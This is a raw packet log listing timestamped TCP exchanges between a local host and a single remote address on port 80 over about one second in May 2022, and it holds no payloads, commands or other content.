May 23, 2022 09:19:19.961745024 CEST	49173	80	192.168.2.22	160.153.40.1
May 23, 2022 09:19:19.961754084 CEST	80	49173	160.153.40.1	192.168.2.22
May 23, 2022 09:19:19.961762905 CEST	49173	80	192.168.2.22	160.153.40.1
May 23, 2022 09:19:19.961776018 CEST	80	49173	160.153.40.1	192.168.2.22
May 23, 2022 09:19:19.961776972 CEST	49173	80	192.168.2.22	160.153.40.1
May 23, 2022 09:19:19.961791039 CEST	49173	80	192.168.2.22	160.153.40.1
May 23, 2022 09:19:19.961795092 CEST	80	49173	160.153.40.1	192.168.2.22
May 23, 2022 09:19:19.961808920 CEST	80	49173	160.153.40.1	192.168.2.22
May 23, 2022 09:19:19.961826086 CEST	80	49173	160.153.40.1	192.168.2.22
May 23, 2022 09:19:19.961829901 CEST	49173	80	192.168.2.22	160.153.40.1
May 23, 2022 09:19:19.961843967 CEST	80	49173	160.153.40.1	192.168.2.22
May 23, 2022 09:19:19.961847067 CEST	49173	80	192.168.2.22	160.153.40.1
May 23, 2022 09:19:19.961859941 CEST	49173	80	192.168.2.22	160.153.40.1
May 23, 2022 09:19:19.961862087 CEST	80	49173	160.153.40.1	192.168.2.22
May 23, 2022 09:19:19.961877108 CEST	49173	80	192.168.2.22	160.153.40.1
May 23, 2022 09:19:19.961891890 CEST	49173	80	192.168.2.22	160.153.40.1
May 23, 2022 09:19:19.961992979 CEST	80	49173	160.153.40.1	192.168.2.22
May 23, 2022 09:19:19.962016106 CEST	80	49173	160.153.40.1	192.168.2.22
May 23, 2022 09:19:19.962033033 CEST	80	49173	160.153.40.1	192.168.2.22
May 23, 2022 09:19:19.962044954 CEST	49173	80	192.168.2.22	160.153.40.1
May 23, 2022 09:19:19.962045908 CEST	80	49173	160.153.40.1	192.168.2.22
May 23, 2022 09:19:19.962059975 CEST	49173	80	192.168.2.22	160.153.40.1
May 23, 2022 09:19:19.962066889 CEST	80	49173	160.153.40.1	192.168.2.22
May 23, 2022 09:19:19.962076902 CEST	49173	80	192.168.2.22	160.153.40.1
May 23, 2022 09:19:19.962085009 CEST	80	49173	160.153.40.1	192.168.2.22
May 23, 2022 09:19:19.962100029 CEST	49173	80	192.168.2.22	160.153.40.1
May 23, 2022 09:19:19.962115049 CEST	49173	80	192.168.2.22	160.153.40.1
May 23, 2022 09:19:20.006722927 CEST	49173	80	192.168.2.22	160.153.40.1
May 23, 2022 09:19:20.114996910 CEST	80	49173	160.153.40.1	192.168.2.22
May 23, 2022 09:19:20.115036011 CEST	80	49173	160.153.40.1	192.168.2.22
May 23, 2022 09:19:20.115058899 CEST	80	49173	160.153.40.1	192.168.2.22
May 23, 2022 09:19:20.115081072 CEST	80	49173	160.153.40.1	192.168.2.22
May 23, 2022 09:19:20.115159035 CEST	49173	80	192.168.2.22	160.153.40.1
May 23, 2022 09:19:20.115199089 CEST	49173	80	192.168.2.22	160.153.40.1
May 23, 2022 09:19:20.116915941 CEST	80	49173	160.153.40.1	192.168.2.22
May 23, 2022 09:19:20.116945028 CEST	80	49173	160.153.40.1	192.168.2.22
May 23, 2022 09:19:20.116969109 CEST	80	49173	160.153.40.1	192.168.2.22
May 23, 2022 09:19:20.116991043 CEST	80	49173	160.153.40.1	192.168.2.22
May 23, 2022 09:19:20.117023945 CEST	49173	80	192.168.2.22	160.153.40.1
May 23, 2022 09:19:20.117036104 CEST	80	49173	160.153.40.1	192.168.2.22
May 23, 2022 09:19:20.117049932 CEST	49173	80	192.168.2.22	160.153.40.1
May 23, 2022 09:19:20.117060900 CEST	80	49173	160.153.40.1	192.168.2.22
May 23, 2022 09:19:20.117085934 CEST	80	49173	160.153.40.1	192.168.2.22
May 23, 2022 09:19:20.117088079 CEST	49173	80	192.168.2.22	160.153.40.1
May 23, 2022 09:19:20.117115974 CEST	80	49173	160.153.40.1	192.168.2.22
May 23, 2022 09:19:20.117139101 CEST	49173	80	192.168.2.22	160.153.40.1
May 23, 2022 09:19:20.117140055 CEST	80	49173	160.153.40.1	192.168.2.22
May 23, 2022 09:19:20.117144108 CEST	49173	80	192.168.2.22	160.153.40.1
May 23, 2022 09:19:20.117160082 CEST	49173	80	192.168.2.22	160.153.40.1
May 23, 2022 09:19:20.117165089 CEST	80	49173	160.153.40.1	192.168.2.22
May 23, 2022 09:19:20.117178917 CEST	49173	80	192.168.2.22	160.153.40.1
May 23, 2022 09:19:20.117188931 CEST	80	49173	160.153.40.1	192.168.2.22
May 23, 2022 09:19:20.117203951 CEST	49173	80	192.168.2.22	160.153.40.1
May 23, 2022 09:19:20.117212057 CEST	80	49173	160.153.40.1	192.168.2.22
May 23, 2022 09:19:20.117223978 CEST	49173	80	192.168.2.22	160.153.40.1
May 23, 2022 09:19:20.117235899 CEST	80	49173	160.153.40.1	192.168.2.22
May 23, 2022 09:19:20.117243052 CEST	49173	80	192.168.2.22	160.153.40.1
May 23, 2022 09:19:20.117258072 CEST	80	49173	160.153.40.1	192.168.2.22
May 23, 2022 09:19:20.117271900 CEST	49173	80	192.168.2.22	160.153.40.1
May 23, 2022 09:19:20.117280006 CEST	80	49173	160.153.40.1	192.168.2.22
May 23, 2022 09:19:20.117291927 CEST	49173	80	192.168.2.22	160.153.40.1
May 23, 2022 09:19:20.117302895 CEST	80	49173	160.153.40.1	192.168.2.22
May 23, 2022 09:19:20.117307901 CEST	49173	80	192.168.2.22	160.153.40.1
May 23, 2022 09:19:20.117326021 CEST	80	49173	160.153.40.1	192.168.2.22
May 23, 2022 09:19:20.117348909 CEST	49173	80	192.168.2.22	160.153.40.1
May 23, 2022 09:19:20.117350101 CEST	80	49173	160.153.40.1	192.168.2.22
May 23, 2022 09:19:20.117364883 CEST	49173	80	192.168.2.22	160.153.40.1
May 23, 2022 09:19:20.117383957 CEST	49173	80	192.168.2.22	160.153.40.1
May 23, 2022 09:19:20.162450075 CEST	80	49173	160.153.40.1	192.168.2.22
May 23, 2022 09:19:20.162503004 CEST	80	49173	160.153.40.1	192.168.2.22
May 23, 2022 09:19:20.162529945 CEST	80	49173	160.153.40.1	192.168.2.22
May 23, 2022 09:19:20.162554979 CEST	80	49173	160.153.40.1	192.168.2.22
May 23, 2022 09:19:20.162580967 CEST	80	49173	160.153.40.1	192.168.2.22
May 23, 2022 09:19:20.162606001 CEST	80	49173	160.153.40.1	192.168.2.22
May 23, 2022 09:19:20.162641048 CEST	49173	80	192.168.2.22	160.153.40.1
May 23, 2022 09:19:20.162646055 CEST	80	49173	160.153.40.1	192.168.2.22
May 23, 2022 09:19:20.162676096 CEST	49173	80	192.168.2.22	160.153.40.1
May 23, 2022 09:19:20.162677050 CEST	80	49173	160.153.40.1	192.168.2.22
May 23, 2022 09:19:20.162682056 CEST	49173	80	192.168.2.22	160.153.40.1
May 23, 2022 09:19:20.162703991 CEST	80	49173	160.153.40.1	192.168.2.22
May 23, 2022 09:19:20.162714958 CEST	49173	80	192.168.2.22	160.153.40.1
May 23, 2022 09:19:20.162731886 CEST	80	49173	160.153.40.1	192.168.2.22
May 23, 2022 09:19:20.162746906 CEST	49173	80	192.168.2.22	160.153.40.1
May 23, 2022 09:19:20.162765026 CEST	49173	80	192.168.2.22	160.153.40.1
May 23, 2022 09:19:20.162772894 CEST	80	49173	160.153.40.1	192.168.2.22
May 23, 2022 09:19:20.162798882 CEST	80	49173	160.153.40.1	192.168.2.22
May 23, 2022 09:19:20.162811041 CEST	49173	80	192.168.2.22	160.153.40.1
May 23, 2022 09:19:20.162823915 CEST	80	49173	160.153.40.1	192.168.2.22
May 23, 2022 09:19:20.162827969 CEST	49173	80	192.168.2.22	160.153.40.1
May 23, 2022 09:19:20.162848949 CEST	80	49173	160.153.40.1	192.168.2.22
May 23, 2022 09:19:20.162861109 CEST	49173	80	192.168.2.22	160.153.40.1
May 23, 2022 09:19:20.162877083 CEST	49173	80	192.168.2.22	160.153.40.1
May 23, 2022 09:19:20.162893057 CEST	80	49173	160.153.40.1	192.168.2.22
May 23, 2022 09:19:20.162919998 CEST	80	49173	160.153.40.1	192.168.2.22
May 23, 2022 09:19:20.162941933 CEST	49173	80	192.168.2.22	160.153.40.1
May 23, 2022 09:19:20.162944078 CEST	80	49173	160.153.40.1	192.168.2.22
May 23, 2022 09:19:20.162954092 CEST	49173	80	192.168.2.22	160.153.40.1
May 23, 2022 09:19:20.162978888 CEST	49173	80	192.168.2.22	160.153.40.1
May 23, 2022 09:19:20.163027048 CEST	80	49173	160.153.40.1	192.168.2.22
May 23, 2022 09:19:20.163057089 CEST	80	49173	160.153.40.1	192.168.2.22
May 23, 2022 09:19:20.163073063 CEST	49173	80	192.168.2.22	160.153.40.1
May 23, 2022 09:19:20.163083076 CEST	80	49173	160.153.40.1	192.168.2.22
May 23, 2022 09:19:20.163089037 CEST	49173	80	192.168.2.22	160.153.40.1
May 23, 2022 09:19:20.163109064 CEST	80	49173	160.153.40.1	192.168.2.22
May 23, 2022 09:19:20.163121939 CEST	49173	80	192.168.2.22	160.153.40.1
May 23, 2022 09:19:20.163134098 CEST	80	49173	160.153.40.1	192.168.2.22
May 23, 2022 09:19:20.163136005 CEST	49173	80	192.168.2.22	160.153.40.1
May 23, 2022 09:19:20.163158894 CEST	80	49173	160.153.40.1	192.168.2.22
May 23, 2022 09:19:20.163170099 CEST	49173	80	192.168.2.22	160.153.40.1
May 23, 2022 09:19:20.163183928 CEST	80	49173	160.153.40.1	192.168.2.22
May 23, 2022 09:19:20.163208961 CEST	80	49173	160.153.40.1	192.168.2.22
May 23, 2022 09:19:20.163208961 CEST	49173	80	192.168.2.22	160.153.40.1
May 23, 2022 09:19:20.163219929 CEST	49173	80	192.168.2.22	160.153.40.1
May 23, 2022 09:19:20.163234949 CEST	80	49173	160.153.40.1	192.168.2.22
May 23, 2022 09:19:20.163235903 CEST	49173	80	192.168.2.22	160.153.40.1
May 23, 2022 09:19:20.163270950 CEST	49173	80	192.168.2.22	160.153.40.1
May 23, 2022 09:19:20.262212992 CEST	49173	80	192.168.2.22	160.153.40.1
May 23, 2022 09:19:20.270800114 CEST	80	49173	160.153.40.1	192.168.2.22
May 23, 2022 09:19:20.270834923 CEST	80	49173	160.153.40.1	192.168.2.22
May 23, 2022 09:19:20.270852089 CEST	80	49173	160.153.40.1	192.168.2.22
May 23, 2022 09:19:20.270875931 CEST	49173	80	192.168.2.22	160.153.40.1
May 23, 2022 09:19:20.270879030 CEST	80	49173	160.153.40.1	192.168.2.22
May 23, 2022 09:19:20.270908117 CEST	49173	80	192.168.2.22	160.153.40.1
May 23, 2022 09:19:20.270912886 CEST	49173	80	192.168.2.22	160.153.40.1
May 23, 2022 09:19:20.272902966 CEST	80	49173	160.153.40.1	192.168.2.22
May 23, 2022 09:19:20.272927046 CEST	80	49173	160.153.40.1	192.168.2.22
May 23, 2022 09:19:20.272944927 CEST	80	49173	160.153.40.1	192.168.2.22
May 23, 2022 09:19:20.272959948 CEST	49173	80	192.168.2.22	160.153.40.1
May 23, 2022 09:19:20.272962093 CEST	80	49173	160.153.40.1	192.168.2.22
May 23, 2022 09:19:20.272988081 CEST	49173	80	192.168.2.22	160.153.40.1
May 23, 2022 09:19:20.272993088 CEST	49173	80	192.168.2.22	160.153.40.1
May 23, 2022 09:19:20.272998095 CEST	49173	80	192.168.2.22	160.153.40.1
May 23, 2022 09:19:20.417993069 CEST	80	49173	160.153.40.1	192.168.2.22
May 23, 2022 09:19:20.418029070 CEST	80	49173	160.153.40.1	192.168.2.22
May 23, 2022 09:19:20.418054104 CEST	80	49173	160.153.40.1	192.168.2.22
May 23, 2022 09:19:20.418076992 CEST	80	49173	160.153.40.1	192.168.2.22
May 23, 2022 09:19:20.418087959 CEST	49173	80	192.168.2.22	160.153.40.1
May 23, 2022 09:19:20.418101072 CEST	80	49173	160.153.40.1	192.168.2.22
May 23, 2022 09:19:20.418118000 CEST	49173	80	192.168.2.22	160.153.40.1
May 23, 2022 09:19:20.418124914 CEST	80	49173	160.153.40.1	192.168.2.22
May 23, 2022 09:19:20.418128967 CEST	49173	80	192.168.2.22	160.153.40.1
May 23, 2022 09:19:20.418148994 CEST	80	49173	160.153.40.1	192.168.2.22
May 23, 2022 09:19:20.418164968 CEST	49173	80	192.168.2.22	160.153.40.1
May 23, 2022 09:19:20.418171883 CEST	80	49173	160.153.40.1	192.168.2.22
May 23, 2022 09:19:20.418174028 CEST	49173	80	192.168.2.22	160.153.40.1
May 23, 2022 09:19:20.418195009 CEST	80	49173	160.153.40.1	192.168.2.22
May 23, 2022 09:19:20.418207884 CEST	49173	80	192.168.2.22	160.153.40.1
May 23, 2022 09:19:20.418219090 CEST	80	49173	160.153.40.1	192.168.2.22
May 23, 2022 09:19:20.418232918 CEST	49173	80	192.168.2.22	160.153.40.1
May 23, 2022 09:19:20.418245077 CEST	80	49173	160.153.40.1	192.168.2.22
May 23, 2022 09:19:20.418255091 CEST	49173	80	192.168.2.22	160.153.40.1
May 23, 2022 09:19:20.418268919 CEST	80	49173	160.153.40.1	192.168.2.22
May 23, 2022 09:19:20.418281078 CEST	49173	80	192.168.2.22	160.153.40.1
May 23, 2022 09:19:20.418292999 CEST	80	49173	160.153.40.1	192.168.2.22
May 23, 2022 09:19:20.418304920 CEST	49173	80	192.168.2.22	160.153.40.1
May 23, 2022 09:19:20.418317080 CEST	80	49173	160.153.40.1	192.168.2.22
May 23, 2022 09:19:20.418329000 CEST	49173	80	192.168.2.22	160.153.40.1
May 23, 2022 09:19:20.418342113 CEST	80	49173	160.153.40.1	192.168.2.22
May 23, 2022 09:19:20.418351889 CEST	49173	80	192.168.2.22	160.153.40.1
May 23, 2022 09:19:20.418365955 CEST	80	49173	160.153.40.1	192.168.2.22
May 23, 2022 09:19:20.418378115 CEST	49173	80	192.168.2.22	160.153.40.1
May 23, 2022 09:19:20.418390036 CEST	80	49173	160.153.40.1	192.168.2.22
May 23, 2022 09:19:20.418401957 CEST	49173	80	192.168.2.22	160.153.40.1
May 23, 2022 09:19:20.418414116 CEST	80	49173	160.153.40.1	192.168.2.22
May 23, 2022 09:19:20.418425083 CEST	49173	80	192.168.2.22	160.153.40.1
May 23, 2022 09:19:20.418440104 CEST	80	49173	160.153.40.1	192.168.2.22
May 23, 2022 09:19:20.418452024 CEST	49173	80	192.168.2.22	160.153.40.1
May 23, 2022 09:19:20.418463945 CEST	80	49173	160.153.40.1	192.168.2.22
May 23, 2022 09:19:20.418476105 CEST	49173	80	192.168.2.22	160.153.40.1
May 23, 2022 09:19:20.418488026 CEST	80	49173	160.153.40.1	192.168.2.22
May 23, 2022 09:19:20.418498993 CEST	49173	80	192.168.2.22	160.153.40.1
May 23, 2022 09:19:20.418512106 CEST	80	49173	160.153.40.1	192.168.2.22
May 23, 2022 09:19:20.418524027 CEST	49173	80	192.168.2.22	160.153.40.1
May 23, 2022 09:19:20.418535948 CEST	80	49173	160.153.40.1	192.168.2.22
May 23, 2022 09:19:20.418555975 CEST	49173	80	192.168.2.22	160.153.40.1
May 23, 2022 09:19:20.418559074 CEST	80	49173	160.153.40.1	192.168.2.22
May 23, 2022 09:19:20.418565035 CEST	49173	80	192.168.2.22	160.153.40.1
May 23, 2022 09:19:20.418581963 CEST	80	49173	160.153.40.1	192.168.2.22
May 23, 2022 09:19:20.418596983 CEST	49173	80	192.168.2.22	160.153.40.1
May 23, 2022 09:19:20.418606043 CEST	80	49173	160.153.40.1	192.168.2.22
May 23, 2022 09:19:20.418617010 CEST	49173	80	192.168.2.22	160.153.40.1
May 23, 2022 09:19:20.418631077 CEST	80	49173	160.153.40.1	192.168.2.22
May 23, 2022 09:19:20.418643951 CEST	49173	80	192.168.2.22	160.153.40.1
May 23, 2022 09:19:20.418653965 CEST	80	49173	160.153.40.1	192.168.2.22
May 23, 2022 09:19:20.418664932 CEST	49173	80	192.168.2.22	160.153.40.1
May 23, 2022 09:19:20.418678045 CEST	80	49173	160.153.40.1	192.168.2.22
May 23, 2022 09:19:20.418688059 CEST	49173	80	192.168.2.22	160.153.40.1
May 23, 2022 09:19:20.418701887 CEST	80	49173	160.153.40.1	192.168.2.22
May 23, 2022 09:19:20.418713093 CEST	49173	80	192.168.2.22	160.153.40.1
May 23, 2022 09:19:20.418725967 CEST	80	49173	160.153.40.1	192.168.2.22
May 23, 2022 09:19:20.418736935 CEST	49173	80	192.168.2.22	160.153.40.1
May 23, 2022 09:19:20.418749094 CEST	80	49173	160.153.40.1	192.168.2.22
May 23, 2022 09:19:20.418759108 CEST	49173	80	192.168.2.22	160.153.40.1
May 23, 2022 09:19:20.418773890 CEST	80	49173	160.153.40.1	192.168.2.22
May 23, 2022 09:19:20.418785095 CEST	49173	80	192.168.2.22	160.153.40.1
May 23, 2022 09:19:20.418797970 CEST	80	49173	160.153.40.1	192.168.2.22
May 23, 2022 09:19:20.418812990 CEST	49173	80	192.168.2.22	160.153.40.1
May 23, 2022 09:19:20.418824911 CEST	80	49173	160.153.40.1	192.168.2.22
May 23, 2022 09:19:20.418833971 CEST	49173	80	192.168.2.22	160.153.40.1
May 23, 2022 09:19:20.418848991 CEST	80	49173	160.153.40.1	192.168.2.22
May 23, 2022 09:19:20.418859959 CEST	49173	80	192.168.2.22	160.153.40.1
May 23, 2022 09:19:20.418873072 CEST	80	49173	160.153.40.1	192.168.2.22
May 23, 2022 09:19:20.418884039 CEST	49173	80	192.168.2.22	160.153.40.1
May 23, 2022 09:19:20.418898106 CEST	80	49173	160.153.40.1	192.168.2.22
May 23, 2022 09:19:20.418906927 CEST	49173	80	192.168.2.22	160.153.40.1
May 23, 2022 09:19:20.418921947 CEST	80	49173	160.153.40.1	192.168.2.22
May 23, 2022 09:19:20.418934107 CEST	49173	80	192.168.2.22	160.153.40.1
May 23, 2022 09:19:20.418946028 CEST	80	49173	160.153.40.1	192.168.2.22
May 23, 2022 09:19:20.418956995 CEST	49173	80	192.168.2.22	160.153.40.1
May 23, 2022 09:19:20.418982029 CEST	49173	80	192.168.2.22	160.153.40.1
May 23, 2022 09:19:20.423826933 CEST	49173	80	192.168.2.22	160.153.40.1
May 23, 2022 09:19:20.426482916 CEST	80	49173	160.153.40.1	192.168.2.22
May 23, 2022 09:19:20.426511049 CEST	80	49173	160.153.40.1	192.168.2.22
May 23, 2022 09:19:20.426527023 CEST	80	49173	160.153.40.1	192.168.2.22
May 23, 2022 09:19:20.426544905 CEST	80	49173	160.153.40.1	192.168.2.22
May 23, 2022 09:19:20.426563025 CEST	80	49173	160.153.40.1	192.168.2.22
May 23, 2022 09:19:20.426578999 CEST	80	49173	160.153.40.1	192.168.2.22
May 23, 2022 09:19:20.426580906 CEST	49173	80	192.168.2.22	160.153.40.1
May 23, 2022 09:19:20.426598072 CEST	80	49173	160.153.40.1	192.168.2.22
May 23, 2022 09:19:20.426599026 CEST	49173	80	192.168.2.22	160.153.40.1
May 23, 2022 09:19:20.426604033 CEST	49173	80	192.168.2.22	160.153.40.1
May 23, 2022 09:19:20.426608086 CEST	49173	80	192.168.2.22	160.153.40.1
May 23, 2022 09:19:20.426618099 CEST	80	49173	160.153.40.1	192.168.2.22
May 23, 2022 09:19:20.426621914 CEST	49173	80	192.168.2.22	160.153.40.1
May 23, 2022 09:19:20.426635981 CEST	80	49173	160.153.40.1	192.168.2.22
May 23, 2022 09:19:20.426641941 CEST	49173	80	192.168.2.22	160.153.40.1
May 23, 2022 09:19:20.426655054 CEST	80	49173	160.153.40.1	192.168.2.22
May 23, 2022 09:19:20.426656008 CEST	49173	80	192.168.2.22	160.153.40.1
May 23, 2022 09:19:20.426672935 CEST	80	49173	160.153.40.1	192.168.2.22
May 23, 2022 09:19:20.426676035 CEST	49173	80	192.168.2.22	160.153.40.1
May 23, 2022 09:19:20.426686049 CEST	49173	80	192.168.2.22	160.153.40.1
May 23, 2022 09:19:20.426691055 CEST	80	49173	160.153.40.1	192.168.2.22
May 23, 2022 09:19:20.426712990 CEST	80	49173	160.153.40.1	192.168.2.22
May 23, 2022 09:19:20.426712036 CEST	49173	80	192.168.2.22	160.153.40.1
May 23, 2022 09:19:20.426726103 CEST	49173	80	192.168.2.22	160.153.40.1
May 23, 2022 09:19:20.426731110 CEST	80	49173	160.153.40.1	192.168.2.22
May 23, 2022 09:19:20.426748991 CEST	80	49173	160.153.40.1	192.168.2.22
May 23, 2022 09:19:20.426752090 CEST	49173	80	192.168.2.22	160.153.40.1
May 23, 2022 09:19:20.426764965 CEST	49173	80	192.168.2.22	160.153.40.1
May 23, 2022 09:19:20.426769972 CEST	80	49173	160.153.40.1	192.168.2.22
May 23, 2022 09:19:20.426783085 CEST	49173	80	192.168.2.22	160.153.40.1
May 23, 2022 09:19:20.426789045 CEST	80	49173	160.153.40.1	192.168.2.22
May 23, 2022 09:19:20.426806927 CEST	49173	80	192.168.2.22	160.153.40.1
May 23, 2022 09:19:20.426808119 CEST	80	49173	160.153.40.1	192.168.2.22
May 23, 2022 09:19:20.426817894 CEST	49173	80	192.168.2.22	160.153.40.1
May 23, 2022 09:19:20.426826954 CEST	80	49173	160.153.40.1	192.168.2.22
May 23, 2022 09:19:20.426843882 CEST	80	49173	160.153.40.1	192.168.2.22
May 23, 2022 09:19:20.426845074 CEST	49173	80	192.168.2.22	160.153.40.1
May 23, 2022 09:19:20.426853895 CEST	49173	80	192.168.2.22	160.153.40.1
May 23, 2022 09:19:20.426863909 CEST	80	49173	160.153.40.1	192.168.2.22
May 23, 2022 09:19:20.426881075 CEST	49173	80	192.168.2.22	160.153.40.1
May 23, 2022 09:19:20.426882029 CEST	80	49173	160.153.40.1	192.168.2.22
May 23, 2022 09:19:20.426889896 CEST	49173	80	192.168.2.22	160.153.40.1
May 23, 2022 09:19:20.426918983 CEST	49173	80	192.168.2.22	160.153.40.1
May 23, 2022 09:19:20.427186012 CEST	49173	80	192.168.2.22	160.153.40.1
May 23, 2022 09:19:20.428570032 CEST	80	49173	160.153.40.1	192.168.2.22
May 23, 2022 09:19:20.428596973 CEST	80	49173	160.153.40.1	192.168.2.22
May 23, 2022 09:19:20.428615093 CEST	80	49173	160.153.40.1	192.168.2.22
May 23, 2022 09:19:20.428631067 CEST	80	49173	160.153.40.1	192.168.2.22
May 23, 2022 09:19:20.428637981 CEST	49173	80	192.168.2.22	160.153.40.1
May 23, 2022 09:19:20.428648949 CEST	80	49173	160.153.40.1	192.168.2.22
May 23, 2022 09:19:20.428661108 CEST	49173	80	192.168.2.22	160.153.40.1
May 23, 2022 09:19:20.428664923 CEST	49173	80	192.168.2.22	160.153.40.1
May 23, 2022 09:19:20.428668022 CEST	80	49173	160.153.40.1	192.168.2.22
May 23, 2022 09:19:20.428675890 CEST	49173	80	192.168.2.22	160.153.40.1
May 23, 2022 09:19:20.428685904 CEST	80	49173	160.153.40.1	192.168.2.22
May 23, 2022 09:19:20.428702116 CEST	49173	80	192.168.2.22	160.153.40.1
May 23, 2022 09:19:20.428704023 CEST	80	49173	160.153.40.1	192.168.2.22
May 23, 2022 09:19:20.428714991 CEST	49173	80	192.168.2.22	160.153.40.1
May 23, 2022 09:19:20.428730011 CEST	49173	80	192.168.2.22	160.153.40.1
May 23, 2022 09:19:20.574546099 CEST	80	49173	160.153.40.1	192.168.2.22
May 23, 2022 09:19:20.574584961 CEST	80	49173	160.153.40.1	192.168.2.22
May 23, 2022 09:19:20.574615002 CEST	80	49173	160.153.40.1	192.168.2.22
May 23, 2022 09:19:20.574645042 CEST	80	49173	160.153.40.1	192.168.2.22
May 23, 2022 09:19:20.574673891 CEST	80	49173	160.153.40.1	192.168.2.22
May 23, 2022 09:19:20.574702024 CEST	80	49173	160.153.40.1	192.168.2.22
May 23, 2022 09:19:20.574731112 CEST	80	49173	160.153.40.1	192.168.2.22
May 23, 2022 09:19:20.574759960 CEST	80	49173	160.153.40.1	192.168.2.22
May 23, 2022 09:19:20.574801922 CEST	80	49173	160.153.40.1	192.168.2.22
May 23, 2022 09:19:20.574800968 CEST	49173	80	192.168.2.22	160.153.40.1
May 23, 2022 09:19:20.574829102 CEST	49173	80	192.168.2.22	160.153.40.1
May 23, 2022 09:19:20.574831963 CEST	49173	80	192.168.2.22	160.153.40.1
May 23, 2022 09:19:20.574831963 CEST	80	49173	160.153.40.1	192.168.2.22
May 23, 2022 09:19:20.574835062 CEST	49173	80	192.168.2.22	160.153.40.1
May 23, 2022 09:19:20.574855089 CEST	80	49173	160.153.40.1	192.168.2.22
May 23, 2022 09:19:20.574882984 CEST	80	49173	160.153.40.1	192.168.2.22
May 23, 2022 09:19:20.574913025 CEST	80	49173	160.153.40.1	192.168.2.22
May 23, 2022 09:19:20.574940920 CEST	80	49173	160.153.40.1	192.168.2.22
May 23, 2022 09:19:20.574940920 CEST	49173	80	192.168.2.22	160.153.40.1
May 23, 2022 09:19:20.574944973 CEST	49173	80	192.168.2.22	160.153.40.1
May 23, 2022 09:19:20.574970961 CEST	80	49173	160.153.40.1	192.168.2.22
May 23, 2022 09:19:20.574970961 CEST	49173	80	192.168.2.22	160.153.40.1
May 23, 2022 09:19:20.575001001 CEST	80	49173	160.153.40.1	192.168.2.22
May 23, 2022 09:19:20.575021029 CEST	49173	80	192.168.2.22	160.153.40.1
May 23, 2022 09:19:20.575030088 CEST	80	49173	160.153.40.1	192.168.2.22
May 23, 2022 09:19:20.575031996 CEST	49173	80	192.168.2.22	160.153.40.1
May 23, 2022 09:19:20.575062037 CEST	49173	80	192.168.2.22	160.153.40.1
May 23, 2022 09:19:20.575073957 CEST	80	49173	160.153.40.1	192.168.2.22
May 23, 2022 09:19:20.575098991 CEST	49173	80	192.168.2.22	160.153.40.1
May 23, 2022 09:19:20.575114965 CEST	80	49173	160.153.40.1	192.168.2.22
May 23, 2022 09:19:20.575119019 CEST	49173	80	192.168.2.22	160.153.40.1
May 23, 2022 09:19:20.575154066 CEST	80	49173	160.153.40.1	192.168.2.22
May 23, 2022 09:19:20.575176954 CEST	49173	80	192.168.2.22	160.153.40.1
May 23, 2022 09:19:20.575192928 CEST	80	49173	160.153.40.1	192.168.2.22
May 23, 2022 09:19:20.575215101 CEST	49173	80	192.168.2.22	160.153.40.1
May 23, 2022 09:19:20.575231075 CEST	80	49173	160.153.40.1	192.168.2.22
May 23, 2022 09:19:20.575237989 CEST	49173	80	192.168.2.22	160.153.40.1
May 23, 2022 09:19:20.575270891 CEST	80	49173	160.153.40.1	192.168.2.22
May 23, 2022 09:19:20.575297117 CEST	49173	80	192.168.2.22	160.153.40.1
May 23, 2022 09:19:20.575309992 CEST	80	49173	160.153.40.1	192.168.2.22
May 23, 2022 09:19:20.575311899 CEST	49173	80	192.168.2.22	160.153.40.1
May 23, 2022 09:19:20.575349092 CEST	80	49173	160.153.40.1	192.168.2.22
May 23, 2022 09:19:20.575371981 CEST	49173	80	192.168.2.22	160.153.40.1
May 23, 2022 09:19:20.575388908 CEST	80	49173	160.153.40.1	192.168.2.22
May 23, 2022 09:19:20.575412035 CEST	49173	80	192.168.2.22	160.153.40.1
May 23, 2022 09:19:20.575427055 CEST	80	49173	160.153.40.1	192.168.2.22
May 23, 2022 09:19:20.575443983 CEST	49173	80	192.168.2.22	160.153.40.1
May 23, 2022 09:19:20.575464964 CEST	80	49173	160.153.40.1	192.168.2.22
May 23, 2022 09:19:20.575495958 CEST	49173	80	192.168.2.22	160.153.40.1
May 23, 2022 09:19:20.575506926 CEST	80	49173	160.153.40.1	192.168.2.22
May 23, 2022 09:19:20.575514078 CEST	49173	80	192.168.2.22	160.153.40.1
May 23, 2022 09:19:20.575544119 CEST	49173	80	192.168.2.22	160.153.40.1
May 23, 2022 09:19:20.575544119 CEST	80	49173	160.153.40.1	192.168.2.22
May 23, 2022 09:19:20.575582981 CEST	80	49173	160.153.40.1	192.168.2.22
May 23, 2022 09:19:20.575597048 CEST	49173	80	192.168.2.22	160.153.40.1
May 23, 2022 09:19:20.575620890 CEST	80	49173	160.153.40.1	192.168.2.22
May 23, 2022 09:19:20.575634003 CEST	49173	80	192.168.2.22	160.153.40.1
May 23, 2022 09:19:20.575659990 CEST	80	49173	160.153.40.1	192.168.2.22
May 23, 2022 09:19:20.575663090 CEST	49173	80	192.168.2.22	160.153.40.1
May 23, 2022 09:19:20.575699091 CEST	80	49173	160.153.40.1	192.168.2.22
May 23, 2022 09:19:20.575710058 CEST	49173	80	192.168.2.22	160.153.40.1
May 23, 2022 09:19:20.575736046 CEST	49173	80	192.168.2.22	160.153.40.1
May 23, 2022 09:19:20.575737000 CEST	80	49173	160.153.40.1	192.168.2.22
May 23, 2022 09:19:20.575776100 CEST	80	49173	160.153.40.1	192.168.2.22
May 23, 2022 09:19:20.575784922 CEST	49173	80	192.168.2.22	160.153.40.1
May 23, 2022 09:19:20.575814962 CEST	80	49173	160.153.40.1	192.168.2.22
May 23, 2022 09:19:20.575815916 CEST	49173	80	192.168.2.22	160.153.40.1
May 23, 2022 09:19:20.575854063 CEST	80	49173	160.153.40.1	192.168.2.22
May 23, 2022 09:19:20.575865030 CEST	49173	80	192.168.2.22	160.153.40.1
May 23, 2022 09:19:20.575894117 CEST	80	49173	160.153.40.1	192.168.2.22
May 23, 2022 09:19:20.575905085 CEST	49173	80	192.168.2.22	160.153.40.1
May 23, 2022 09:19:20.575932026 CEST	80	49173	160.153.40.1	192.168.2.22
May 23, 2022 09:19:20.575932980 CEST	49173	80	192.168.2.22	160.153.40.1
May 23, 2022 09:19:20.575970888 CEST	80	49173	160.153.40.1	192.168.2.22
May 23, 2022 09:19:20.575983047 CEST	49173	80	192.168.2.22	160.153.40.1
May 23, 2022 09:19:20.576009035 CEST	49173	80	192.168.2.22	160.153.40.1
May 23, 2022 09:19:20.576009989 CEST	80	49173	160.153.40.1	192.168.2.22
May 23, 2022 09:19:20.576046944 CEST	80	49173	160.153.40.1	192.168.2.22
